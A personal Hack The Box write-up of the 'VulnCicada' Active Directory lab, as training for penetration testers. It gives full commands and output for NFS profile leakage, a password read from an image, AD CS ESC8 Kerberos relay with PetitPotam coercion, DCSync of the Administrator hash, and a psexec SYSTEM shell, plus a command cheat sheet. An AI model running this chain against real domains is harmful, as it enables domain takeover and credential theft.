🐛 VulnCicada

Machine: VulnCicada
Difficulty: Medium
Theme: NFS information disclosure → credential discovery in image → Kerberos-only domain auth → AD CS ESC8 → Kerberos relay over SMB → DomainController certificate → DCSync → Administrator shell

🎯 Summary

VulnCicada is a Windows Active Directory machine exposing DNS, Kerberos, LDAP, SMB, NFS, RDP, ADWS, and an IIS web service.

Anonymous SMB enumeration fails because NTLM authentication is disabled. However, NFS is exposed publicly and leaks Windows user profile directories through the /profiles export. Inside the exposed profile data, an image file belonging to Rosie.Powell contains a visible password-like string.

Because SMB reports NTLM:False, the credential must be validated using Kerberos against the real domain controller FQDN rather than against the IP. The credential works for cicada.vl\Rosie.Powell.

Authenticated SMB enumeration reveals a readable CertEnroll share, confirming that Active Directory Certificate Services is deployed. Certipy enumeration confirms an AD CS CA named cicada-DC-JPQ225-CA and identifies HTTP Web Enrollment as enabled, producing an ESC8 finding.

Classic NTLM relay is not suitable because NTLM is disabled. The successful path uses Kerberos relay over SMB. A marshaled DNS hostname is added to AD DNS and pointed at the attacker VPN IP. Certipy relay is started against the AD CS HTTP enrollment endpoint using the DomainController template. NetExec coerce_plus is then used with PetitPotam to force the domain controller to authenticate to the marshaled listener name.

The relayed authentication allows Certipy to request and save a DomainController certificate for the DC machine account. That certificate is used to obtain a Kerberos TGT and machine account hash for dc-jpq225$. The DC machine Kerberos context is then used with DRSUAPI via secretsdump to extract the Administrator hash. Finally, the Administrator hash is used with Kerberos-aware Impacket execution to obtain a SYSTEM shell.

1. Enumeration

Initial full-port scanning identified a Windows Active Directory target:

sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/vulncicada_portscan [TARGET_IP]

Open ports included:

53/tcp     domain
80/tcp     http
88/tcp     kerberos-sec
111/tcp    rpcbind
135/tcp    msrpc
139/tcp    netbios-ssn
389/tcp    ldap
445/tcp    microsoft-ds
464/tcp    kpasswd5
593/tcp    http-rpc-epmap
636/tcp    ldapssl
2049/tcp   nfs
3268/tcp   globalcatLDAP
3269/tcp   globalcatLDAPssl
3389/tcp   ms-wbt-server
9389/tcp   adws

A targeted service scan showed the domain and hostnames:

sudo nmap -sC -sV -vv -oA nmap/vulncicada [TARGET_IP]

Important findings:

Domain: cicada.vl
Hostname: DC-JPQ225
FQDN: DC-JPQ225.cicada.vl
SMB signing: required
LDAP certificate issuer: cicada-DC-JPQ225-CA
NFS/rpcbind exposed
IIS 10.0 on port 80

The hostnames were added to /etc/hosts:

echo "[TARGET_IP] DC-JPQ225.cicada.vl DC-JPQ225 cicada.vl" | sudo tee -a /etc/hosts

Important gotcha:

Kerberos authentication depends heavily on correct DNS/FQDN resolution. Using the IP directly caused several tools to fail or fall back into unsupported authentication behavior.

2. SMB Null Session Fails

Anonymous SMB authentication was tested first:

nxc smb [TARGET_IP] -u '' -p ''

Output showed:

NTLM:False
STATUS_NOT_SUPPORTED

This was an important clue. The issue was not simply “bad null creds.” The target did not support NTLM authentication for this path.

Takeaway:

Do not keep pushing anonymous SMB when the host clearly reports NTLM:False. Pivot to other exposed services and use Kerberos-aware tooling once credentials are found.

3. NFS Enumeration

The scan showed both rpcbind and nfs/mountd, so NFS export enumeration was prioritized.

Exports were listed:

showmount -e [TARGET_IP]

Result:

Export list for [TARGET_IP]:
/profiles (everyone)

The export was mounted locally:

mkdir target-NFS
sudo mount -t nfs [TARGET_IP]:/profiles ./target-NFS/
cd target-NFS

Directory listing:

Administrator
Daniel.Marshall
Debra.Wright
Jane.Carter
Jordan.Francis
Joyce.Andrews
Katie.Ward
Megan.Simpson
Richard.Gibbons
Rosie.Powell
Shirley.West

Recursive listing showed two interesting images:

tree -L3

Important files:

Administrator/vacation.png
Rosie.Powell/marketing.png

Some Documents folders produced permission errors, but this was not worth chasing. The image files were the clear lead.

4. Credential Discovery in marketing.png

The images were copied out of the mounted NFS directory and inspected visually:

cp target-NFS/Rosie.Powell/marketing.png .
cp target-NFS/Administrator/vacation.png .

The marketing.png image contained a visible sticky note with a password-like string.

Because the image was located under Rosie.Powell’s profile, the logical username to test was:

Rosie.Powell

Credential stored in notes:

Rosie.Powell : [REDACTED]

Important gotcha:

Running GUI tools like GIMP with sudo is unnecessary after copying the file into your workspace. Open images as the normal user to avoid permission issues.

5. Kerberos Credential Validation

A normal SMB login attempt against the IP failed:

nxc smb [TARGET_IP] -u 'Rosie.Powell' -p '[PASSWORD]'

Output again showed:

NTLM:False
STATUS_NOT_SUPPORTED

This did not mean the password was wrong. It meant the authentication method was wrong.

The credential was tested against the real DC FQDN with Kerberos:

nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k

Successful result:

[+] cicada.vl\Rosie.Powell:[PASSWORD]

A Kerberos TGT was also obtained:

impacket-getTGT 'cicada.vl/Rosie.Powell:[PASSWORD]'

This created:

Rosie.Powell.ccache

The ticket cache was exported when needed:

export KRB5CCNAME=/path/to/Rosie.Powell.ccache
klist

Expected principal:

Rosie.Powell@CICADA.VL

6. Authenticated SMB Enumeration

Authenticated share enumeration was performed with Kerberos:

nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k --shares

Important shares:

ADMIN$       Remote Admin
C$           Default share
CertEnroll   READ    Active Directory Certificate Services share
IPC$         READ
NETLOGON     READ
profiles$    READ,WRITE
SYSVOL       READ

The CertEnroll share was the key clue. It indicated AD CS was deployed.

The share was inspected using Impacket’s SMB client because Samba smbclient had Kerberos/SPNEGO issues:

impacket-smbclient -k -no-pass cicada.vl/Rosie.Powell@DC-JPQ225.cicada.vl

Inside the prompt:

shares
use CertEnroll
ls

The share contained CA publication material:

.cer / .crt files
.crl files
nsrev_cicada-DC-JPQ225-CA.asp

These files were not private keys or direct loot. Their value was confirming the AD CS deployment.

7. AD CS Enumeration

Certipy was used to enumerate certificate services.

Initial attempts failed when -target was omitted while using Kerberos:

Target name (-target) not specified and Kerberos authentication is used. This might fail
LDAP Kerberos authentication failed

Correct structure:

certipy find \
  -dc-ip [TARGET_IP] \
  -target DC-JPQ225.cicada.vl \
  -u Rosie.Powell@cicada.vl \
  -p '[PASSWORD]' \
  -k \
  -vulnerable \
  -stdout

Important output:

CA Name                         : cicada-DC-JPQ225-CA
DNS Name                        : DC-JPQ225.cicada.vl
Web Enrollment
  HTTP
    Enabled                     : True
  HTTPS
    Enabled                     : False
Request Disposition             : Issue
Enroll                          : CICADA.VL\Authenticated Users
 
[!] Vulnerabilities
  ESC8                          : Web Enrollment is enabled over HTTP.

Important gotcha:

Certipy may report that no vulnerable templates were found. That does not kill this path. The issue is CA-level HTTP Web Enrollment exposure, not a vulnerable user template.

8. Certipy Relay Setup

Certipy relay was started against the AD CS HTTP enrollment endpoint using the DomainController template:

sudo certipy relay \
  -target http://DC-JPQ225.cicada.vl \
  -ca cicada-DC-JPQ225-CA \
  -template DomainController

Expected good listener output:

Targeting http://DC-JPQ225.cicada.vl/certsrv/certfnsh.asp (ESC8)
Listening on 0.0.0.0:445
Setting up SMB Server on port 445

Important local tooling issue:

Certipy relay needs to bind local TCP port 445, so it requires root privileges. If Certipy was installed only under the user environment, sudo certipy will fail because root cannot import the user-local package.

Confirm where the user-local install lives:

which certipy

Example output:

/home/user/.local/bin/certipy

The clean fix is to install Certipy into a dedicated virtual environment and expose it globally with a symlink so both the user and root resolve the same binary.

Create the venv and install Certipy:

python3 -m venv ~/venvs/certipy
source ~/venvs/certipy/bin/activate
pip install --upgrade pip
pip install certipy-ad
deactivate

Expose it globally:

sudo ln -sf ~/venvs/certipy/bin/certipy /usr/local/bin/certipy

Verify both contexts resolve the same binary:

certipy -h
sudo certipy -h

Also check whether port 445 is already in use:

sudo ss -ltnp | grep ':445'

If Samba is using it:

sudo systemctl stop smbd nmbd

Then run relay normally:

sudo certipy relay \
  -target http://DC-JPQ225.cicada.vl \
  -ca cicada-DC-JPQ225-CA \
  -template DomainController

9. Coercion Testing

NetExec’s coerce_plus module was used to check available coercion methods:

nxc smb DC-JPQ225.cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  -M coerce_plus

Output showed several methods were available:

VULNERABLE, DFSCoerce
VULNERABLE, PetitPotam
VULNERABLE, PrinterBug
VULNERABLE, MSEven

A standalone PetitPotam script was tested but failed with:

STATUS_NOT_SUPPORTED

This was consistent with the target’s NTLM:False behavior and the fact that raw IP-based coercion was not suitable for the final Kerberos relay path.

NetExec was used instead because it worked cleanly with Kerberos-authenticated coercion.

10. Generic DNS Listener Name Was Not Enough

A basic AD DNS record was first added:

bloodyAD --host DC-JPQ225.cicada.vl \
  -d cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  add dnsRecord attacker [LHOST]

DNS was verified against the DC:

dig @[TARGET_IP] attacker.cicada.vl +short

Expected:

[LHOST]

PetitPotam coercion was triggered:

nxc smb DC-JPQ225.cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  -M coerce_plus \
  -o LISTENER=attacker METHOD=PetitPotam

This caused the DC to connect to Certipy:

Received connection from [TARGET_IP]

However, Certipy did not continue to authenticate against AD CS or issue a certificate.

This was an important distinction:

Callback worked.
Relay did not complete.

The issue was the listener hostname. A generic DNS name proved reachability, but Kerberos relay required a marshaled listener hostname.

11. Marshaled DNS Hostname for Kerberos Relay

The missing piece was the Kerberos relay-specific marshaled hostname.

The required record format was based on the DC hostname plus a magic suffix:

DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA

The AD DNS record was added with BloodyAD:

export KRB5CCNAME=/path/to/Rosie.Powell.ccache
 
bloodyAD --host DC-JPQ225.cicada.vl \
  -d cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" [LHOST]

Verification:

dig @[TARGET_IP] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl +short

Expected:

[LHOST]

Important gotchas:

Add only the DNS record label, not the full FQDN, with bloodyAD add dnsRecord.
The DNS record must point to the HTB VPN IP, not the local LAN IP.
/etc/hosts is not enough. The DC must resolve the record through AD DNS.
bloodyAD needed -k because NTLM was disabled.

12. Kerberos Relay to AD CS

Certipy relay was restarted cleanly:

sudo certipy relay \
  -target http://DC-JPQ225.cicada.vl \
  -ca cicada-DC-JPQ225-CA \
  -template DomainController

Then NetExec coercion was triggered using the marshaled listener name:

nxc smb DC-JPQ225.cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  -M coerce_plus \
  -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

NetExec showed:

VULNERABLE, PetitPotam
Exploit Success, efsrpc\EfsRpcAddUsersToFile

This time Certipy completed the relay:

HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 401 Unauthorized"
HTTP Request: GET http://dc-jpq225.cicada.vl/certsrv/certfnsh.asp "HTTP/1.1 200 OK"
Authenticating connection from /@[TARGET_IP] against http://DC-JPQ225.cicada.vl SUCCEED
Requesting certificate for '\' based on the template 'DomainController'
Certificate issued with request ID [ID]
Got certificate with DNS Host Name 'DC-JPQ225.cicada.vl'
Saving certificate and private key to 'dc-jpq225.pfx'
Wrote certificate and private key to 'dc-jpq225.pfx'

This was the decisive exploitation step.

13. Authenticate with the DomainController Certificate

The issued certificate was used with Certipy auth:

certipy auth \
  -pfx dc-jpq225.pfx \
  -dc-ip [TARGET_IP]

Output showed:

Certificate identities:
  SAN DNS Host Name: 'DC-JPQ225.cicada.vl'
 
Using principal: 'dc-jpq225$@cicada.vl'
Trying to get TGT...
Got TGT
Saving credential cache to 'dc-jpq225.ccache'
Trying to retrieve NT hash for 'dc-jpq225$'
Got hash for 'dc-jpq225$@cicada.vl'

Artifacts obtained:

dc-jpq225.pfx
dc-jpq225.ccache
dc-jpq225$ NT hash

Important gotcha:

At this point, the active identity is the DC machine account, not Rosie.

14. DCSync as the DC Machine Account

The machine-account Kerberos cache was exported:

export KRB5CCNAME=/path/to/dc-jpq225.ccache
klist

Expected principal:

dc-jpq225$@CICADA.VL

The Administrator account was dumped using DRSUAPI with Impacket secretsdump:

impacket-secretsdump \
  -k \
  -no-pass \
  cicada.vl/dc-jpq225\$@DC-JPQ225.cicada.vl \
  -just-dc-user Administrator

Important syntax details:

Use -k -no-pass because the machine account ccache is being used.
Escape the $ in dc-jpq225$ as dc-jpq225\$.
Use the DC FQDN, not the IP.
Use -just-dc-user Administrator to avoid dumping the whole domain unnecessarily.

Expected output:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:[ADMIN_NT_HASH]:::
Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:[AES256_KEY]
Administrator:aes128-cts-hmac-sha1-96:[AES128_KEY]

The Administrator NT hash was saved to notes:

Administrator : [ADMIN_NT_HASH]

15. Administrator Shell

Because the target had NTLM:False, remote execution was performed with Kerberos-aware Impacket usage and the FQDN.

First, unset the DC machine ccache to avoid using the wrong identity:

unset KRB5CCNAME

Then use the Administrator hash with Kerberos mode:

impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl \
  -k \
  -hashes :[ADMIN_NT_HASH]

If needed, add the DC IP as a KDC hint while still targeting the FQDN:

impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl \
  -k \
  -dc-ip [TARGET_IP] \
  -hashes :[ADMIN_NT_HASH]

Expected shell:

C:\Windows\system32>

Verify:

whoami

Expected:

nt authority\system

User and root flags can then be read from the Administrator profile if present:

type C:\Users\Administrator\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

🔗 Condensed Attack Chain

Full TCP scan
  ↓
AD/DC services identified
  ↓
SMB null auth fails with NTLM disabled
  ↓
NFS/rpcbind identified
  ↓
showmount reveals /profiles export
  ↓
Mount /profiles
  ↓
Windows user profile directories exposed
  ↓
Rosie.Powell/marketing.png contains visible password
  ↓
Credential tested with Kerberos against DC FQDN
  ↓
Valid creds: cicada.vl\Rosie.Powell
  ↓
Authenticated SMB share enumeration
  ↓
CertEnroll share discovered
  ↓
Certipy find confirms AD CS + HTTP Web Enrollment
  ↓
ESC8 identified
  ↓
Certipy relay started against AD CS HTTP endpoint
  ↓
Generic DNS listener causes callback but no relay completion
  ↓
Marshaled DNS hostname added to AD DNS
  ↓
DNS record points to attacker HTB VPN IP
  ↓
NetExec coerce_plus PetitPotam triggers DC authentication
  ↓
Kerberos relay succeeds
  ↓
AD CS issues DomainController certificate
  ↓
dc-jpq225.pfx saved
  ↓
certipy auth obtains TGT as dc-jpq225$
  ↓
dc-jpq225.ccache used with secretsdump
  ↓
DCSync extracts Administrator hash
  ↓
Kerberos-aware psexec with Administrator hash
  ↓
SYSTEM shell

🧠 Key Takeaways

NTLM:False is a major clue. Do not interpret every failed SMB login as bad credentials. On this machine, Kerberos-aware tooling and FQDN targeting were required.
The NFS export was the initial foothold, not SMB or HTTP. Public NFS exposure leaked Windows user profile data.
Image files can contain visual secrets that strings or metadata tools may not reveal. Opening marketing.png visually was decisive.
The username should be inferred from file context. Since marketing.png was in Rosie.Powell’s profile, Rosie.Powell was the first credential validation target.
Kerberos workflows require correct /etc/hosts entries and FQDN usage. The real DC FQDN was DC-JPQ225.cicada.vl.
CertEnroll is not usually direct loot. It is a strong AD CS deployment clue.
Certipy auth is only used after obtaining a certificate/PFX. For enumeration, use certipy find.
-dc-ip and -target are not interchangeable. -dc-ip is for connectivity; -target is the Kerberos/LDAP target name.
No vulnerable templates does not mean no AD CS path. ESC8 was a CA/web-enrollment issue.
Certipy relay needs root because it binds to SMB port 445.
Generic DNS callback names can prove reachability but still fail Kerberos relay. The marshaled DNS hostname was the key missing piece.
Seeing only Received connection in Certipy means callback occurred, not that relay succeeded.
Successful relay is confirmed when Certipy requests a certificate and writes a .pfx.
After obtaining the DomainController certificate, the path becomes Kerberos TGT → DCSync → Administrator hash.
Avoid raw IPs in Kerberos-heavy steps. Use the FQDN and add -dc-ip only as a KDC hint when needed.
When using a machine account like dc-jpq225$ in shell commands, escape the $ as \$.

⚡ Commands Cheat Sheet

# Scanning
sudo nmap -p- --min-rate=5000 -T4 -vv -oA nmap/vulncicada_portscan [TARGET_IP]
sudo nmap -sC -sV -vv -oA nmap/vulncicada [TARGET_IP]

# Hosts file
echo "[TARGET_IP] DC-JPQ225.cicada.vl DC-JPQ225 cicada.vl" | sudo tee -a /etc/hosts

# SMB null auth check
nxc smb [TARGET_IP] -u '' -p ''

# NFS enumeration
showmount -e [TARGET_IP]
 
mkdir target-NFS
sudo mount -t nfs [TARGET_IP]:/profiles ./target-NFS/
cd target-NFS
 
ls
tree -L3

# Copy interesting images
cp target-NFS/Rosie.Powell/marketing.png .
cp target-NFS/Administrator/vacation.png .

# Kerberos credential validation
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k

# Get TGT for Rosie
impacket-getTGT 'cicada.vl/Rosie.Powell:[PASSWORD]'
 
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
klist

# Authenticated SMB share enumeration
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k --shares

# Impacket SMB client with Kerberos
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
impacket-smbclient -k -no-pass cicada.vl/Rosie.Powell@DC-JPQ225.cicada.vl

Inside Impacket SMB client:

shares
use CertEnroll
ls

# Certipy AD CS enumeration
certipy find \
  -dc-ip [TARGET_IP] \
  -target DC-JPQ225.cicada.vl \
  -u Rosie.Powell@cicada.vl \
  -p '[PASSWORD]' \
  -k \
  -vulnerable \
  -stdout

# Certipy relay
sudo certipy relay \
  -target http://DC-JPQ225.cicada.vl \
  -ca cicada-DC-JPQ225-CA \
  -template DomainController

# Check port 445 on attacker
sudo ss -ltnp | grep ':445'
sudo systemctl stop smbd nmbd

# Coercion discovery
nxc smb DC-JPQ225.cicada.vl -u 'Rosie.Powell' -p '[PASSWORD]' -k -M coerce_plus

# Add generic DNS record (testing reachability)
export KRB5CCNAME=/path/to/Rosie.Powell.ccache
 
bloodyAD --host DC-JPQ225.cicada.vl \
  -d cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  add dnsRecord attacker [LHOST]
 
dig @[TARGET_IP] attacker.cicada.vl +short

# Add marshaled DNS record (for Kerberos relay)
bloodyAD --host DC-JPQ225.cicada.vl \
  -d cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  add dnsRecord "DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA" [LHOST]
 
dig @[TARGET_IP] DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA.cicada.vl +short

# Trigger coercion with marshaled listener
nxc smb DC-JPQ225.cicada.vl \
  -u 'Rosie.Powell' \
  -p '[PASSWORD]' \
  -k \
  -M coerce_plus \
  -o LISTENER=DC-JPQ2251UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA METHOD=PetitPotam

# Authenticate with issued PFX
certipy auth -pfx dc-jpq225.pfx -dc-ip [TARGET_IP]

# Use DC machine ccache
export KRB5CCNAME=/path/to/dc-jpq225.ccache
klist

# DCSync Administrator
impacket-secretsdump \
  -k \
  -no-pass \
  cicada.vl/dc-jpq225\$@DC-JPQ225.cicada.vl \
  -just-dc-user Administrator

# Kerberos-aware Administrator shell
unset KRB5CCNAME
 
impacket-psexec cicada.vl/Administrator@DC-JPQ225.cicada.vl \
  -k \
  -dc-ip [TARGET_IP] \
  -hashes :[ADMIN_NT_HASH]

:: Verify and read flags
whoami
type C:\Users\Administrator\Desktop\user.txt
type C:\Users\Administrator\Desktop\root.txt

Field-manual techniques demonstrated on this box:

NFS_Ports_111_2049 — NFS enumeration
NetExec_LDAP_Kerberos — Kerberos authentication
Pass_the_Certificate — ADCS certificate abuse / relay (ESC8)
AD_DCSync — DCSync

🧭 Diagnostic Map

Quick lookup of common failure signals seen on this machine and the correct recovery move. Use this when output looks “wrong” but the underlying step is actually salvageable.

Symptom: STATUS_NOT_SUPPORTED on SMB login attempts
Meaning: Target rejects NTLM (NTLM:False), not bad credentials
Next: Re-run against the DC FQDN with -k (Kerberos), not the IP

Symptom: Standalone PetitPotam script returns STATUS_NOT_SUPPORTED
Meaning: Same NTLM-disabled issue; raw IP-based coercion is the wrong channel
Next: Use NetExec coerce_plus with -k and the DC FQDN

Symptom: Target name (-target) not specified and Kerberos authentication is used
Meaning: Certipy needs an explicit Kerberos/LDAP target name when -k is set
Next: Add -target DC-FQDN alongside -dc-ip [TARGET_IP]

Symptom: sudo certipy fails to import the package, or “command not found” under root
Meaning: Certipy is installed user-local (~/.local/bin), so root cannot import it
Next: Install Certipy into a dedicated venv and symlink it into /usr/local/bin

Symptom: Certipy relay shows only Received connection from ... and then nothing
Meaning: Coercion fired and the DC connected, but the relay itself did not complete
Next: Replace the generic DNS listener with a marshaled Kerberos relay hostname

Symptom: dig resolves the listener correctly but relay still does not issue a cert
Meaning: DNS works, but the hostname format is wrong for Kerberos relay
Next: Add an AD DNS record named <DC-NAME><marshaled-suffix> and coerce against that label

Symptom: Certipy moves past Received connection and prints HTTP/1.1 200 OK + Certificate issued
Meaning: Kerberos relay actually completed; a .pfx should now be on disk
Next: Run certipy auth -pfx <file>.pfx -dc-ip [TARGET_IP] to mint the TGT

Symptom: You have dc-<host>.pfx in hand
Meaning: Your next identity is the DC machine account (dc-<host>$), not the original user
Next: certipy auth → export the resulting .ccache → secretsdump -k -no-pass for DCSync

Symptom: secretsdump or psexec runs as the wrong identity
Meaning: KRB5CCNAME still points at a previous user’s ticket cache
Next: unset KRB5CCNAME (or re-export the correct ccache) and confirm with klist

Symptom: Impacket complains about $ when using a machine account name
Meaning: The shell is interpreting $ as a variable expansion
Next: Escape the $ as \$ (e.g. dc-jpq225\$@DC-FQDN) or single-quote the principal

Symptom: smbclient (Samba) fails with Kerberos/SPNEGO errors
Meaning: Samba’s Kerberos handling is brittle in this configuration
Next: Use impacket-smbclient -k -no-pass <DOMAIN>/<user>@<DC-FQDN> instead

Symptom: sudo certipy relay cannot bind port 445
Meaning: Local Samba (or a stale Responder) already owns the port
Next: sudo ss -ltnp | grep ':445' to identify, then sudo systemctl stop smbd nmbd

📝 Personal Notes

The first important lesson on VulnCicada is to treat NTLM:False as a major environmental constraint. Several things that would normally work in an AD lab failed until the workflow was adjusted to Kerberos, FQDNs, and ccache handling.

The NFS export was the real initial foothold. It was easy to spend too much time on SMB null sessions or the default IIS page, but the exposed /profiles export immediately gave user context and eventually a password from marketing.png.

The password discovery was visual, not technical. This is a good reminder to actually open images and documents instead of only running strings, file, and exiftool.

The CertEnroll share was not direct loot. It was a signpost toward AD CS. The meaningful enumeration was Certipy’s CA configuration output, especially HTTP Web Enrollment and ESC8.

The Certipy mode distinction matters:

find is for AD CS enumeration.
relay is for relaying authentication to AD CS.
auth is only useful after a certificate/PFX exists.

The biggest rabbit hole was the relay listener DNS name. A generic DNS record like attacker.cicada.vl proved that coercion and callback worked, but Certipy only showed Received connection. The relay did not complete until the marshaled Kerberos relay hostname was added to AD DNS and used as the coercion listener.

The successful relay was obvious because Certipy moved beyond “Received connection” and showed HTTP requests, certificate issuance, and a saved .pfx.

After obtaining the DomainController certificate, the rest of the path became straightforward: use the PFX to get a DC machine TGT, use that Kerberos context for DCSync, extract the Administrator hash, and use Kerberos-aware Impacket execution to get SYSTEM.

This machine is a strong CPTS reminder: authenticated enumeration, protocol awareness, and careful interpretation of tool output matter more than blindly running exploit commands.

Field Manual

Explorer

HTB: VulnCicada

🐛 VulnCicada

🎯 Summary

1. Enumeration

2. SMB Null Session Fails

3. NFS Enumeration

4. Credential Discovery in marketing.png

5. Kerberos Credential Validation

6. Authenticated SMB Enumeration

7. AD CS Enumeration

8. Certipy Relay Setup

9. Coercion Testing

10. Generic DNS Listener Name Was Not Enough

11. Marshaled DNS Hostname for Kerberos Relay

12. Kerberos Relay to AD CS

13. Authenticate with the DomainController Certificate

14. DCSync as the DC Machine Account

15. Administrator Shell

🔗 Condensed Attack Chain

🧠 Key Takeaways

⚡ Commands Cheat Sheet

🧭 Diagnostic Map

📝 Personal Notes

Graph View

Table of Contents

Backlinks

Field Manual

Explorer

HTB: VulnCicada

🐛 VulnCicada

🎯 Summary

1. Enumeration

2. SMB Null Session Fails

3. NFS Enumeration

4. Credential Discovery in marketing.png

5. Kerberos Credential Validation

6. Authenticated SMB Enumeration

7. AD CS Enumeration

8. Certipy Relay Setup

9. Coercion Testing

10. Generic DNS Listener Name Was Not Enough

11. Marshaled DNS Hostname for Kerberos Relay

12. Kerberos Relay to AD CS

13. Authenticate with the DomainController Certificate

14. DCSync as the DC Machine Account

15. Administrator Shell

🔗 Condensed Attack Chain

🧠 Key Takeaways

⚡ Commands Cheat Sheet

🔗 Related Manual Notes

🧭 Diagnostic Map

📝 Personal Notes

Graph View

Table of Contents

Backlinks